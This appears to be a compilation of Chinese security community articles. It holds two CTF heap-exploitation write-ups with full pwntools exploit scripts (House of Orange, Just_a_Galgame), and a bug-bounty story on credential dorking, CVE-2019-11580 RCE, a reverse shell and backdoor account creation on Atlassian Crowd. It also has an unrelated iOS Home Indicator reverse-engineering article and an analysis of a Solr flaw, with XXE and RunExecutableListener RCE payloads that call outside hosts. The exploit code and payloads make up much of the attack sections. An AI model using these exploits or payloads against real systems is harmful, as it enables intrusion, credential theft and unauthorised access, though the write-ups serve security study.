attack，修改IO_list_all，然后调用malloc函数，此时会在第一个IO_FILE（_IO_list_all的地址，也就是main
arena那块地址）中看是否满足FSOP的if条件，发现不满足，然后就会跳转到下一个IO_FILE结构体中，也就是smallbin 0x60数组中的old
top
chunk，这里我们之前就已经布置好了伪造的vtable（偏移一般为216，0xd8）指向本身的堆地址，然后在vtable+0x18处（这个位置就是_overflow函数指针的位置）布置system的地址，注意FSOP需要绕过执行_overflow之前的if判断，也就是_mode=0,_IO_write_base=0,_IO_write_ptr=1这几个。
然后就会按照house of orange的执行流程：
**libc_malloc = > malloc_printerr => **libc_message => abort =>
_IO_flush_all_lockp
**EXP:**
from pwn import *
context(log_level='debug',arch='amd64')
local=1
binary_name='houseoforange_hitcon_2016'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27493)
e=ELF("./"+binary_name)
libc=ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,name,price=1,color=1):
ru("Your choice : ")
sl('1')
ru("Length of name :")
sl(str(size))
ru("Name :")
sd(name)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:")
sl(str(color))
def show():
ru("Your choice : ")
sl('2')
def edit(size,name,price=1,color=0xddaa):
ru("Your choice : ")
sl('3')
ru("Length of name :")
sl(str(size))
ru("Name:")
sd(name)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:")
sl(str(color))
add(0x10,'a')
payload='a'*0x18+p64(0x21)+p32(1)+p32(0x1f)+p64(0)*2+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
z()
show()
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-1601-0x3c4b20
print hex(libcbase)
edit(0x10,'a'*16)
#z()
show()
rc(0x20)
heapbase=u64(rc(6).ljust(8,'\x00'))-0xc0
print hex(heapbase)
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
payload='a'*0x400+p64(0)+p64(0x21)+'a'*0x10
fake_file='/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_file+=p64(0)+p64(1)#IO_write_ptr>IO_write_base
fake_file=fake_file.ljust(0xc0,'\x00')#_mode=0
payload+=fake_file
payload+=p64(0)*3+p64(heapbase+0x5c8)
payload+=p64(0)*2+p64(system)
#z()
edit(0x800,payload)
#z()
ru(':')
sl('1')
ia()
### 5、例题（Just_a_Galgame）
house of orange的组合漏洞一般只在低于libc-2.27的版本才奏效，但是house of orange中free top
chunk的手法还是可以继续使用的，下面这题就是在libc-2.27的情况下free top chunk的情况。比赛的时候给的提示是house of
orange，但其实和house of orange有关就只有free top chunk
House of orange泄露libc+数组越界漏洞
libc很快就泄露出来了，但是数组越界漏洞一直没看出来，还以为是2.23下house of
orange的组合利用，需要劫持虚表，浪费了好多时间，最后还是没有做出来，看了wp才知道自己傻了，果然逆向的能力需要再提升一下
**1、常规检查**
虽然没有PIE，但是full RELRO，所以无法修改got表
**2、IDA分析**
所有的功能都在main函数里实现了，没有分开成函数写，一个个来看
* add函数
固定只能申请0x68的chunk，没有什么漏洞
* edit函数
这个函数非常关键，漏洞都在这里，首先第一眼可以看到read这里存在堆溢出漏洞，因为我们申请的chunk大小固定0x68，可以修改下一个chunk的chunk
head。
然后如果再看得仔细一点会发现，这里对idx的并没有做过多的检查，它只是检查了一下堆指针数组idx的那个位置有没有内容，如果有就可以往里写，没有检查idx是不是小于6，所以这里存在一个数组越界漏洞。
* addbig函数
就是申请一个0x1000大小的chunk，是用来free top chunk的
* show函数
将堆中的内容打印出来
* leave函数
这个函数也很关键，一开始我以为没啥用，之后觉得有用，但是不会用orz。
可以看到这里允许我们向0x4040a0这个地址写入一个8字节的内容，8字节，，，可以写一个地址，然后0x4040a0这个地址有点眼熟，往上看发现，堆指针数组地址是0x404060，两个地址非常接近
**3、利用思路**
首先可以看到没有free函数，所以只能通过free top chunk来达到free的目的，edit函数允许我们修改top
chunk的size，然后又有addbig函数可以申请0x1000的chunk，所以将top chunk放到unsorted
bin的条件全部达成。又提供了show函数，所以我们可以直接泄露libc地址。
接下来就是比较骚的操作了，首先通过leave函数将malloc
hook-0x60的地址写入到0x4040a0的地址中，然后因为edit函数存在数组越界漏洞，所以我们edit（8），0x404060+8*8=0x4040a0，if语句会判断这个地址是否有内容，而我们刚刚通过leave函数已经将malloc
hook-0x60的地址写入0x4040a0，所以if满足，我们可以向malloc hook-0x60+0x60的地址写入内容，将one
gadget写入，在执行add，getshell
**EXP：**
from pwn import *
context.log_level='debug'
p=process("./Just_a_Galgame")
#p=remote('123.56.170.202',52114)
e=ELF("./Just_a_Galgame")
libc=ELF('libc-2.27.so')
def add():
p.recvuntil(">> ")
p.sendline('1')
def edit(idx,content):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("idx >> ")
p.sendline(str(idx))
p.recvuntil("movie name >> ")
p.sendline(content)
def addb():
p.recvuntil(">> ")
p.sendline('3')
def show(idx):
p.recvuntil(">> ")
p.sendline('4')
p.recvuntil("Reciew your cgs >> \n")
p.sendline(str(idx))
def leave(content):
p.recvuntil(">> ")
p.sendline('5')
p.recvuntil("\nHotaru: Won't you stay with me for a while? QAQ\n\n")
p.send(content)
add()#0
payload=p64(0)+p64(0xd41)
edit(0,payload)
addb()
add()#1
#gdb.attach(p)
show(1)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-1632
print hex(main_arena)
libcbase=main_arena-0x3ebc40
print hex(libcbase)
one_gadget=libcbase+0x4f3c2
malloc_hook=libcbase+libc.sym['__malloc_hook']
leave(p64(malloc_hook-0x60))
edit(8,p64(one_gadget))
add()
p.interactive()
参考链接：
<https://www.jianshu.com/p/1e45b785efc1>
<http://blog.eonew.cn/archives/1093#glibc-227>
<https://bbs.pediy.com/thread-222718.htm>
<https://ctf-wiki.github.io/ctf-wiki/> | 社区文章 |
# 从信息收集到内网漫游
بسماللهالرحمنالرحيم
> 本文主要讲述我是如何通过结合各种漏洞的利用,最终进入到世界上最大的ICT公司的内网.
>
> pdf版本,[戳我下载^_^](http://firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/\[ENG\]%20The%20Story%20about%20How%20I%20Finally%20could%20Got%20into%20an%20Internal%20Network%20v03.pdf)
如果你嫌内容过多,I部分是简明扼要版本.
## I. TL;DR
进入内网的过程,主要分为三个阶段.
* Github寻找各种凭据和内网地址信息.以及目标的开源框架
* 通过Google Hacking 搜索敏感信息:`site:*.target.com AND intext:their_password`
* 第三就是我在查看我的子域名扫描结果时,发现使用的是老版本`Atlassian Crowd`,通过使用`CVE-2019–11580`拿到了权限,然后发现这台机器可以访问到内网很多资产.
我通过github获得的网段信息,查询到了内网的资产.
获得了一个稳定的shell
内网资产的响应信息
## Detail
19年12月份,我计划找一些近几个月比较活跃的目标,希望能够获得RCE,然后访问内网资产,然后我开始从一些基础信息入手.
### Github信息收集
因为我已经收集了几千个子域名,并且不好入手,所以我想回到基本状态,所以我去Github上寻找一些信息,参考<https://www.youtube.com/watch?v=l0YsEk_59fQ>
我做的是:
1. 收集凭据,不管是否有效,这是为了寻找默认密码
2.
发现了大约50多个密码
3. 收集ip地址,然后猜测规律
4. ip地址可以确定出资产是否属于他们
5. 我利用这个方法找到5个p1
6.
除此之外,ip的收集对进入内网以后有很大帮助
* 最后就是他们开发信息.第一部分大概花了我16小时,几天过后,大概只花几小时,最后我发现目标很少使用他们的框架开发内部应用程序.
* 另一方面就是可以进行代码审计
开发人员在使用Github协同开发的时候,可能会不注意就将敏感信息上传到repo中.
所以可以尝试搜索敏感信息.
* `password “.target.tld”` 关键字可以是`telnet，ftp，ssh，mysql，jdbc，oracle`
* `target.tld “ password_value_here”` 我不讨清楚Github的搜索细节,但是我通过这两个不同的关键字,获得了不少有用的东西XD
* 在一个repo里面找到信息之后,就继续在这个repo里面找到更多信息.
继续找类似`password，pwd，pass`的关键字
查询repo里面的api信息
啥也没有?
继续找这个用户的其他repo
还是啥也没有?
再找和这个repo有关人员的repo
看思维导图
### 问题来了
这些操作会耗费我们大量的时间,并且无法保证有效果,但是,这是信息收集的重点,我们都在做不确定的事情.
可能你会依赖自动化工具去做这些事情,但是有时候手动也很必要,需要互相结合.
### Google hacking
我认为到这里差不多了,该进入下一个阶段了.
我在第一阶段的时候发现了一个子域名.然后....XD
这些都是内网域名,无法从外网访问.
这是我的关键字:
site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
尽管我知道这些域名我访问不了,但是想尝试找到一些敏感信息.
从这一阶段开始我得到很多信息,FTP和一些Web的密码
可以继续寻找一些
Oracle，MySQL，MSSQL
FTP，SSH
username,password
等等
我得到一个很好的结果,就是我发现有4个账户可以登录,访问到一些信息.
我还可以访问超级管理员账户,可惜的是,不在范围内.
其中有公司的客户数据,但是由于隐私,我不发布截图
### 发现老版本的Atlassian
虽然找是找到了一写问题,但是还是没权限.
然后我用Aquatone进行子域名截图.
点击`crowd`的时候,我被重定向到一个包含`Atlassian`应用程序的Web站点.
到这里,大家做的第一件事其实都一样,就是google搜这个应用有没有漏洞.
最后发现一个CVE-----`CVE-2019–11580`
github上有了poc
下面就是验证了
### 验证漏洞
我要做的就是访问`/admin/uploadplugin.action` 这个api,如果回显出现
HTTP Status 400 — Requires POST
那就说明可能存在漏洞
.....
丢,竟然是少宇的Poc
<https://github.com/jas502n/CVE-2019-11580>
浏览器的话访问
`/crowd/plugins/servlet/exp?cmd=command_here`
现在是一个root权限,我下面想反弹一个shell
尝试了基本的访问,最后在目标上下载我的python脚本反弹shell
可执行权限设置完毕
然后
$ nc -lvp <我们的端口>
获得shell
然后要想获得交互式shell,再执行
python -c 'import pty;pty.spawn("/bin/bash")'
因为我不了解这个应用,我就去查文档,最后发现
密码是在`<confluence_home> /confluence.cfg.xml`文件中
找到具体位置
成功连接到mysql数据库
### 密码是加密的,怎么登录?
除了破解,可以考虑替换掉密码值
但是肯定不能这么做,会破坏数据.
我继续查找文档,发现一个功能点,只要有管理员密码就能通过rest实现.
受影响的Atlassian Crowd的版本为v.2.x,所以是能用的
同样适用locate找到文件位置
### 通过REST创建帐户
我是参考了下面这篇文章
curl -i -X POST http://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here -H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'
> {
> "email": "your@email_here.tld",
> "name": "your_new_user_here",
> "password": {
> "value": "your_new_user_password_here"
> }
> }
> '
如果成功,返回
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Redacted.
成功以后,还要激活这个用户
curl -i -u crowd_administrator_username_here:crowd_administrator_password_here -X PUT --data '{"name":"your_new_user_here", "active":"true"}' http://subdomain.target.com/crowd/rest/usermanagement/1/user?username=your_new_user_here --header 'Content-Type: application/json' --header 'Accept: application/json'
回显
HTTP/1.1 204 No Content
Server: Apache-Coyote/1.1
Redacted.
成功登陆
Hacking End!
奖励: `9000刀`
后面的就是原作者的一些小建议了,就是耐心分析数据等等.
所以[戳我查看原文](https://medium.com/bugbountywriteup/from-recon-to-optimizing-rce-results-simple-story-with-one-of-the-biggest-ict-company-in-the-ea710bca487a) | 社区文章 |
# 看我如何逆向iPhoneX的Home Indicator
|
##### 译文声明
本文是翻译文章，文章原作者 Sash Zats，文章来源：zats.io
原文地址：<http://blog.zats.io/2017/12/27/iPhone-X-home-button/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Apple在iPhone X上取消了之前一直存在的物理Home键，取而代之的是位于屏幕底部的一个横线，官方称之为Home
Indicator。当我第一次见到Home
Indicator时，我比较感兴趣的是该横线的行为模式：不管是以任意壁纸作为背景的锁屏界面上，还是在显示任意内容的第三方app上（如视频应用或者游戏应用，此时背景内容变化会比较快），它都必须处于可见状态。
很显然UIKit并不会向我们透露这方面的相关信息，因此我们需要自己动手，弄清楚Home Indicator的构建原理。
## 二、找出Home Indicator类
为了弄清楚应该在哪里寻找相关代码，我试着去寻找类似的UI元素。最开始我认为系统状态栏是最为接近的一种元素。与Home
Indicator一样，系统状态栏也会出现在锁屏界面上，也会被添加到每一个app窗口中。因此我最开始尝试在UIKit中寻找包含与状态栏有关的一些代码。搜索GitHub上已有的UIKit头文件代码后，我并没有找到与新的Home
Indicator有关的任何代码。接下来，我想探索的是SpringBoard，这是一个“app”，位于CoreServices目录中，包含与锁屏及主屏幕有关的各种系统功能。使用`class-dump`（安装命令为`$ brew install class-dump`）导出SpringBoard中包含的类后，我们可以找到一个比较有趣的东西：`SBHomeGrabberView`。这对我们而言是个不错的开始：
$ class-dump /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/iOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/CoreServices/SpringBoard.app/SpringBoard
...
@interface SBHomeGrabberView : UIView <_UISettingsKeyPathObserver, SBAttentionAwarenessClientDelegate, MTLumaDodgePillBackgroundLuminanceObserver>
{
SBHomeGrabberSettings *_settings;
MTLumaDodgePillView *_pillView;
SBAttentionAwarenessClient *_idleTouchAwarenessClient;
_Bool _touchesAreIdle;
_Bool _autoHides;
long long _luma;
unsigned long long _suppressLumaUpdates;
}
@property(nonatomic) _Bool autoHides; // @synthesize autoHides=_autoHides;
- (void).cxx_destruct;
- (void)lumaDodgePillDidDetectBackgroundLuminanceChange:(id)arg1;
接下来，让我们将整段代码从SpringBoard中加载到我们自己的虚拟应用中，以便将该视图添加到窗口中，检查该视图是否就是我们苦苦寻找的目标。这段代码并不复杂，基本思想如下：
#import <dlfcn.h>
// somewhere in viewDidLoad
dlopen([binaryPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
UIView *const view = [[NSClassFromString(@"SBHomeGrabberView") alloc] init];
[view sizeToFit];
[self.view addSubview:view];
以上代码不需要经过太多改动，我们就可以得到如下效果：
这的确就是我们所寻找的目标，现在我们可以来分析一下这个视图的构建过程。为了了解实现细节，我选择使用Hopper
Disassembler，免费版的已经足以满足我们的使用需求。在这个应用的帮助下，我们可以更好理解汇编代码（虽然我自己对汇编代码本身也不是特别了解）。我们所需要做的就是打开一个二进制文件，查找其中比较感兴趣的那些方法。跳转到该方法后，在顶部区域切换为伪代码视图。这样该应用就会生成Objective-C、C++以及汇编语言混合而成的代码，可读性大大提高。
具体步骤如下：
1、输入类名，查看所有已实现的方法。
2、随着时间的推移，你会逐渐掌握技巧，知道如何挖掘“有趣”的那些方法。选择以公开的UIKit方法开始总归是不错的选择，因为Apple的工程师也会使用这些方法。这也是我选择从`-[SBHomeGrabberView
initWithFrame:]`开始的原因所在。
3、除非你很习惯于阅读汇编代码，否则还是选择伪代码模式比较好。
4、尽量理解其中代码。有时候代码本身看起来就比较好理解，有时候你会陷入代码的迷宫中无法自拔。
就我自己而言，我发现阅读实现细节本身就是一件非常有趣的事情。有时候我单纯只是因为觉得“有趣”才这么做，有时候则是想更好地理解某些行为背后的原因。
回到我们的`SBHomeGrabberView`上来，我们可以看到它只是一个比较简单的封装器（某些地方除外，比如`AWAttentionAwarenessConfiguration`，回头我们再来处理它），其中添加了一个`MTLumaDodgePillView`子视图。最开始我认为它的定义应该位于Metal框架中（因为使用了`MTL`前缀），但看起来它又有点过于具体，不应该在Metal这类“底层”框架中定义。此外，Matthias也在Twitter上指出，这个类的前缀实际上是`MT`，并不是`MTL`。幸运的是，如果我们将某个二进制文件（如SpringBoard）载入这个app中，我们同时也可以访问该文件后续加载的所有库。想要知道哪个库定义某个类并不困难，只需要使用`dladdr`即可：
const Class MTLumaDodgePillViewClass = NSClassFromString(@"MTLumaDodgePillView");
Dl_info dlInfo;
dladdr((__bridge void *)MTLumaDodgePillViewClass, &dlInfo);
dlInfo.dli_fname; // path to the binary defining the symbol (class in this case)
以上代码可以添加到我们设计的那个应用中，稍加运行即可。此外，我们也可以选择使用`lldb`。很少人知道lldb支持变量设置功能。使用`lldb`的优点在于我们并不需要重新编译目标应用，缺点在于`lldb`需要知道代码中的具体类型，因为它并不能访问头文件，因此我们需要额外花些精力，处理变量及函数返回结果的类型：
(lldb) e Dl_info $dlInfo
(lldb) e (void)dladdr((__bridge void *)NSClassFromString(@"MTLumaDodgePillView"), & $dlInfo);
(lldb) p $dlInfo.dli_fname
(const char *) $1 = 0x00006000001fd900 "/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/iOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/MaterialKit.framework/MaterialKit"
如上所述，`MTLumaDodgePillView`的定义位于`/System/Library/PrivateFrameworks/MaterialKit.framework/MaterialKit`中。
@class MTLumaDodgePillView;
@protocol MTLumaDodgePillBackgroundLuminanceObserver <NSObject>
- (void)lumaDodgePillDidDetectBackgroundLuminanceChange:(MTLumaDodgePillView *)arg1;
@end
@interface MTLumaDodgePillView : UIView
@property(nonatomic, weak) id <MTLumaDodgePillBackgroundLuminanceObserver> backgroundLumninanceObserver;
@property(nonatomic) MTLumaDodgePillViewStyle style;
@property(nonatomic, readonly) MTLumaDodgePillViewBackgroundLuminance backgroundLuminance;
@end
信息量并不大。为了找到`MTLumaDodgePillViewStyle`以及`MTLumaDodgePillViewBackgroundLuminance`的具体值，我们只要查看相关的方法描述即可。根据描述，它会将整数值转换为常量形式的字符串，如下所示：
typedef NS_ENUM(NSInteger, MTLumaDodgePillViewStyle) {
MTLumaDodgePillViewStyleNone = 0,
MTLumaDodgePillViewStyleThin = 1,
MTLumaDodgePillViewStyleGray = 2,
MTLumaDodgePillViewStyleBlack = 3,
MTLumaDodgePillViewStyleWhite = 4,
};
typedef NS_ENUM(NSInteger, MTLumaDodgePillViewBackgroundLuminance) {
MTLumaDodgePillViewBackgroundLuminanceUnknown = 0,
MTLumaDodgePillViewBackgroundLuminanceDark = 1,
MTLumaDodgePillViewBackgroundLuminanceLight = 2,
};
最后我们还要注意`backgroundLumninanceObserver`这个API，每当目标视图改变外观时，这个函数都会调用回调函数。
## 三、构建我们自己的MTLumaDodgePillView
我们离目标已经越来越近，`MTLumaDodgePillViewStyle`本身只是有序数字的一个封装器。在内部中，它还包含许多私有类：它可以作为调用`CABackdropLayer`（私有类，自iOS
7以上系统引入）的代理，使用了一整套`CAFilter`（私有类，自iOS
2以上系统引入），其中包括名为`kCAFilterHomeAffordanceBase`的一个滤镜类。iOS从7开始引入了毛玻璃特效，而`CABackdropLayer`正是该特性背后的推动者。简而言之，它负责克隆图层后的视图层次结构，收集相关内容的统计信息。此外，任何CALayer都支持将QuartzCore过滤器应用于任何图层上。只要克隆视图的层次结构以及应用在试图上的过滤器，我们就可以产生`UIVisualEffectView`提供的所有变化效果。我们来看一下最基本的一种毛玻璃效果：
UIBlurEffect *blur = [UIBlurEffect effectWithStyle:UIBlurEffectStyleLight];
UIVisualEffectView *blurView = [[UIVisualEffectView alloc] initWithEffect:blur];
为了生成这种效果，我们只需要：高斯（Gaussian）模糊、饱和度滤镜（saturation filter）以及使用source
over混合模式的纯白色图层即可。过滤器部分的大致代码如下所示：
CAFilter *const blur = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterGaussianBlur];
[blur setValue:@30 forKey:@"inputRadius"];
CAFilter *const saturate = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterColorSaturate];
[saturate setValue:@1.8 forKey:@"inputAmount"];
CABackdropLayer *backdrop = [NSClassFromString(@"CABackdropLayer") new];
backdrop.filters = @[ blur, saturate ];
CALayer *overlay = [CALayer new];
overlay.backgroundColor = [UIColor colorWithWhite:1 alpha:0.3].CGColor;
overlay.compositeFilter = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterSourceOver];
[layer addSublayer:backdrop];
[layer addSublayer:overlay];
## 四、综合应用
最后一步就是打开`-[MTLumaDodgePillView
initWithFrame:]`，它会显示复制该特效时MaterialKit需要创建的那些过滤器：
CAFilter *const blur = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterGaussianBlur];
CAFilter *const colorBrightness = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterColorBrightness];
CAFilter *const colorSaturate = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterColorSaturate];
为了得到每个过滤器的真实值，我们需要使用view debugger暂停执行过程，选择我们添加的某个视图，从右侧的视图或图层区复制具体地址。
现在，我们可以在控制台（console）中使用我们选择的那些地址，将这些地址作为视图以及图层的索引加以使用。
(lldb) po 0x7fc81331a8a0
<MTLumaDodgePillView:0x7fc81331a8a0 frame={{120.5, 107.5}, {134, 5}} style=white backgroundLuminance=unknown>
(lldb) po ((CALayer *)0x600000226d60).filters
<__NSArrayI 0x60000005e450>(
homeAffordanceBase,
gaussianBlur,
colorBrightness,
colorSaturate
)
(lldb) po [((CALayer *)0x600000226d60).filters[0] valueForKey:@"inputAmount"]
1
(lldb) po [((CALayer *)0x600000226d60).filters[0] valueForKey:@"inputAddWhite"]
0.71
你可能会注意到，我们在上面使用了显示类型转换，以调用那些整数的属性，之所以这么做是为了帮助lldb适配这些指针背后对象的具体类型。
找到`-[MTLumaDodgePillView
initWithFrame:]`中的所有属性后，我们需要在每个属性上应用`valueForKey:`操作。这个过程有点枯燥，但我实在不想去查找原始的style定义文件（假设具体定义位于某个plist中）。一旦操作完成，只需要使用QuartzCore我们可以重构视图：
CAFilter *const homeAffordanceBase = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterHomeAffordanceBase];
UIImage *const lumaDodgeMap = [UIImage imageNamed:@"lumaDodgePillMap" inBundle:[NSBundle bundleForClass:viewClass] compatibleWithTraitCollection:nil];
[homeAffordanceBase setValue:(__bridge id)lumaDodgeMap.CGImage forKey:@"inputColorMap"];
CAFilter *const blurFilter = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterGaussianBlur];
CAFilter *const colorBrightness = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterColorBrightness];
CAFilter *const colorSaturate = [(id)NSClassFromString(@"CAFilter") filterWithType:kCAFilterColorSaturate];
// MTLumaDodgePillViewStyleThin values
[homeAffordanceBase setValue:@0.31 forKey:@"inputAmount"];
[homeAffordanceBase setValue:@0.37275 forKey:@"inputAddWhite"];
[homeAffordanceBase setValue:@0.4 forKey:@"inputOverlayOpacity"];
[blurFilter setValue:@10 forKey:@"inputRadius"];
[blurFilter setValue:@YES forKey:@"inputHardEdges"];
[colorBrightness setValue:@0.06 forKey:@"inputAmount"];
[colorSaturate setValue:@1.15 forKey:@"inputAmount"];
CALayer *layer = [NSClassFromString(@"CABackdropLayer") new];
layer.frame = CGRectInset(self.view.bounds, 100, 100);
layer.filters = @[ homeAffordanceBase, blurFilter, colorSaturate, colorSaturate ];
layer.cornerRadius = 10;
[self.view.layer addSublayer:layer];
新的滤镜貌似使用的是`lumaDodgePullMap`图像来映射输入图像，其他方面则直接使用了我们在`UIVisualEffectView`实现代码中看到的那些过滤器。最终结果如下图所示：
## 五、总结
希望这篇文章能在逆向工程方面给大家带来更多体验，在Objective-C语言的二进制程序中保留着许多有用的信息，能给逆向工程带来更有趣的体验。如果有什么问题或想法，欢迎通过Twitter随时向@zats反馈。
感谢@warpling、@myell0w以及@shaps在本文成稿过程中给予的帮助。
## 六、拓展阅读
* [Markov Chains with GameplayKit](http://blog.zats.io/2015/08/29/markov-chains-with-gameplaykit/)
* [copy vs strong (retain)](http://blog.zats.io/2015/08/27/copy-vs-retain/)
* [GKRandomDistribution, GKShuffledDistribution and the GKGaussianDistribution](http://blog.zats.io/2015/08/15/randoms/) | 社区文章 |
### 作者：orich1
在这里先跪谢组里java开发大佬崔神的教学
第一次分析java的程序，有很多语法、编程技巧都不熟悉，很多地方可能有理解错误和不够专业的用词，请轻喷.....
本篇文章主要是对传参流程、xxe和rce触发流程进行跟踪分析（rce需要分布式的SolrCloud ，没能理解 zookeeper
的工作方式.....所以在rce中很多细节没能分析出来，请大佬轻喷）
#### 已有的payload
xxe payload：
`http://localhost:8983/solr/orich1/select?q={!xmlparser v='<!DOCTYPE a SYSTEM
"http://172.16.169.1:8888"><a></a>'}&wt=xml`
rce payload:
第一种，先请求：
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
然后去 update 一下，随即触发 rce：
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
第二种 payload，可以直接触发 rce：
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
* * *
### 先分析下xxe
首先从 SolrDispatchFilter 里的 doFilter 跟起
在其 375 行，调用了一个 getHttpSolrCall 函数，跟进去，就在 同文件下的第 415 行
并没有用到 v2 api，所以返回的是 HttpSolrCall
返回后在 378 行调用了 HttpSolrCall 的 call 函数
跟进去后，call 函数里调用了 init 函数
这里是初始化操作, 包括根据 URLpath对 action的赋值，对 core、handler 的初始化（在此之前，已经从
ImplicitPlugins.json 文件中提取了插件（可以认为是路由）信息，在solrconfig.xml 里获取插件的配置信息）
根据URLpath，现在我们知道 action = PROCESS
调用了 init 函数后，进行了一个验证，如果验证不通过的话会直接报错，那么这里就不管，继续向下看
这里的 switch 就用到了 action ，然后我们查看 PROCESS
在 case 的 PROCESS 里，先进行了请求包的 Method 获取（包的类型：POST、GET），
然后设置一些返回的 http 头，并且验证设置的头信息，还验证了包的类型（如果不是 GET 就不进行 cache 设置）：
完成后，就将 solrRsp （这个是新生成的 solr 自定义的 response）带入了 execute 函数里
下方 execute 函数带入的 handler，就是之前 init 里由 path 获取的 SolrRequestHandler
跟进去后，大部分是做log，然后将solrQueryRequest和 solrQueryResponse 带入的函数有三个：
一个个跟进去，发现 preDecorateResponse 和 postDecorateResponse 又是做log....
跟进 handler 的 handleRequest 函数，发现跟进了 SolrRequestHandler 这个接口，但是这个函数只被
RequestHandlerBase 类重写了，跟进去看看它的 handleRequest 函数，函数体中一部分是 catch
异常，这个漏洞并没有不符合它的运作规则，所以不看 catch 部分
除了一些 set.... 和 get.... 等等设置类的操作，将 SolrQueryReqeust 和 SolrQueryResponse 带入的，也只有
handleRequestBody 函数了，跳过去
跳过去发现是本类中的一个虚函数.....那看看本类到底被啥继承了
那么就需要之前 handler 的信息了，它是根据 path 来初始化的，我们xxe的路径是 orich1/select ，在 solrconfig.xml
里翻到了这个：
意思就是 /select 是用 SearchHandler 插件处理的，跟到其 handleRequestBody 函数中
在函数体中，先是获取信息、设置数据，进入第一个遍历：
这个 timer 其实不影响什么，主要是如果开启了 debug 那么进入else，否则只是遍历 components
，然后调用继承了SearchComponent 子类中的 prepare 函数。
components 是一个 SearchComponent 的 List ，我们去看看 componnents 里边装的啥
在 handleRequestBody 函数的开头就有一句：
跟进 getComponents
如果这个类中的 components 为空就调用 initComponents 函数，看一下 components
是否在构造函数，或者其他地方已经被提前赋值
发现赋值语句有一个，195行，果然是在 initComponents 函数中
继续分析函数流程
分析到这里，我们去看看 list 的赋值
因为在框架里，不清楚 initArgs 里的键值对具体是啥，所以我们跟进 getDefaultComponents
函数看看，一般来说，事先声明的变量，和默认的变量差别不太大
这里面调用了 COMPONENT_NAME 的类，都是 SearchComponent 的子类，这个时候，我们对比一下 SearchComponent
类的继承表：
这个 getDefaultComponents 里的子类，是符合继承表的名字的
现在回到之前 handleRequestBody 函数里
他遍历了 components 中所有的子类的 prepare 函数，并且带入了 rb 变量
rb 类里集合了： SolrQueryRequest 、SolrQeuryResponse、conponents
其实因为这里是遍历子类，所以按理说应该是一个个跟入的，但是我们可以大胆猜测功能点
并且有一个地方很明显：
QueryComponent 子类是第一个被加进 names 里，最后赋值给 components 的，那么先跟进去看看
又是一顿set和get初始化之类的
这里接近漏洞触发点了，所以我们仔细看看各种参数的赋值过程
这个是获取了特定query字符串中字段的值，如果值为空，那么重新设定一下 字段，然后再从 query 中去获取
跟踪的过程中发现，想要从 rb 类中获取 特定字段值，那么必须先去 rb.setQueryString 一下，但是查看 setQeuryString
的调用点的时候，发现在 QeuryComponent 之前根本没调用过，所以这里肯定 qeuryString 是为 null 的，那么就进入了 if
判断，直接从 params 中获取 CommonParams.Q 的对应值（params是request请求中的
query），然后再去setQeuryString
CommonParams.Q 是这个：
现在我们看看另外一个重要的参数赋值过程：
这个 defType 是从 query 字符串中，获取 QueryParsing.DEFTYPE 字段的值，如果没有设置，那么就获取
QParsePlugin.DEFAULT_QTYPE 的值交付给 defType ，我们看一下这个 DEFAULT_QTYPE:
继续查看 NAME：
那么如果query字符串里没有设置
这个 defType 字段的话，就会默认的将 defType 赋值为 lucene
回到 prepare 函数中，发现了感兴趣的东西：
QParser 类，看命名，感觉是解析什么东西的，并且传入了 url 里的 query 里的 q 对应的值、defType还有
SolrQueryRequest，这个应该是通过get包传进来的参数（为什么不是其他包？因为前面的验证步骤中，说明了只是解析 GET）
跟进 getParser
（ 加一句： 正常解析结束的标志符号是 } ）
解析模式：
比如 q={!xml v='123123'} 或 q={!xml v="123123"}
